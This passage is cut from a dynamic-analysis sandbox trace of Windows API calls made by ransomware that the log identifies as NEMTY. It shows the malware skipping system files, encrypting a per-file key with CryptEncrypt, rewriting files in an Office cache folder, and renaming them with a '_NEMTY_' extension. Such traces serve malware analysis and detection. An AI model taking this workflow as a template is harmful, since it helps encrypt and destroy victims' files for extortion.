lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.xml", lpUsedDefaultChar=0x0) returned 15 [0047.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.xml", lpUsedDefaultChar=0x0) returned 15 [0047.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0047.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32MUI.xml", lpUsedDefaultChar=0x0) returned 15 [0047.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.900] Sleep (dwMilliseconds=0x5) [0047.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd041ab90, dwHighDateTime=0x1d561e7)) [0047.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd041ab90, dwHighDateTime=0x1d561e7)) [0047.905] GetLastError () returned 0x0 [0047.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.905] GetLastError () returned 0x0 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.906] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.906] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Et1Ey+AsA1QW9HMN3xtv0pBLKQgIqJUj6ygZkJM7WcTM9nLYTBt+60U3Pe1X8F7f\r\ni2Wxo5VTpipxtJ4e03QGkiWG7atD+TQeOK2RZDc/LnCZvn61e7zIbxEg5nlXYV/5\r\nru1DeET8WVRXodnRbOkSjuLwEg8M7x9fMf+QNc5/bBjfgbp9ur1X9A5oVdH/Xt2E\r\niwFLgkzLW157MaHRHbXxlH75U5+BTzCRes+OwAojL960Ie5rVSClaOFK60mBun8X\r\noDsWiFq7kKRnf5CAkIShTrHnbZ/1zj6VBvZm0Drd0nq5z31WasZgsqGPdTxaJ8uY\r\nlUmsU57cM2ajG0Iy1wYlUA==\r\n", pcchString=0x653ef9c) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.906] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.906] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1383) returned 1 [0047.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x560) returned 0x6343fe8 [0047.906] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.906] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x560, lpOverlapped=0x0) returned 1 [0047.908] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.908] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x560, lpOverlapped=0x0) returned 1 [0047.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.908] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1383, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x567 [0047.908] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.908] CloseHandle (hObject=0x3c8) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.909] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml._nemty_kgobjgd_")) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.910] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".") returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="..") returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="...") returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="windows") returned -1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="rsa") returned -1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="NTDETECT.COM") returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="ntldr") returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="MSDOS.SYS") returned 1 [0047.910] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="IO.SYS") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="boot.ini") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="boot.ini") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="ntuser.dat") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="desktop.ini") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="CONFIG.SYS") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="RECYCLER") returned -1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="bootmgr") returned 1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="programdata") returned -1 [0047.911] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="appdata") returned 1 [0047.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32LR.cab", lpUsedDefaultChar=0x0) returned 12 [0047.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32LR.cab", lpUsedDefaultChar=0x0) returned 12 [0047.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32LR.cab", lpUsedDefaultChar=0x0) returned 12 [0047.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32LR.cab", lpUsedDefaultChar=0x0) returned 12 [0047.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0047.911] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.911] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0047.911] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0047.912] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0047.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.913] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.913] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.913] Sleep (dwMilliseconds=0x5) [0047.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0440cf0, dwHighDateTime=0x1d561e7)) [0047.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0440cf0, dwHighDateTime=0x1d561e7)) [0047.921] GetLastError () returned 0x0 [0047.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.921] GetLastError () returned 0x0 [0047.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.921] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.921] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.922] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.922] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="lKL6S7gPjZX+I6ClH2UyLJUBb62h/zfm6wEoKrsL95g9tX2Lj92R/25d2EQAoxcM\r\nrKoDzbjbI6t/jyYGZTApTFRjlkQBTCn1RY0kTY+Jj8n3W2E+6k1DzhIwfnnSstG2\r\nBhI9Nx1Aejx2GgpJvnrFIqx8L7ila0YR2drMEorCz0WwI67TyyDppwTvleqGMBgi\r\ngSETMlAdTvYT5X4F1l39BKVlHHU/WjkqdsLiYvm/VUot32cLxFu1fnUhvlxVzxe3\r\nAhYdmNutu5t3ZcCotuA2saNSkJOTM2qBro0DuhssdZB4aVjYFUGitH5w178SkfAC\r\nwZV2KXbSupmPk21/erlyCQ==\r\n", pcchString=0x653ef9c) returned 1 [0047.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.922] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2362) returned 1 [0047.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x930) returned 0x6346d48 [0047.922] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.922] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x930, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x930, lpOverlapped=0x0) returned 1 [0047.924] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.924] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x930, lpOverlapped=0x0) returned 1 [0047.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.924] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2362, 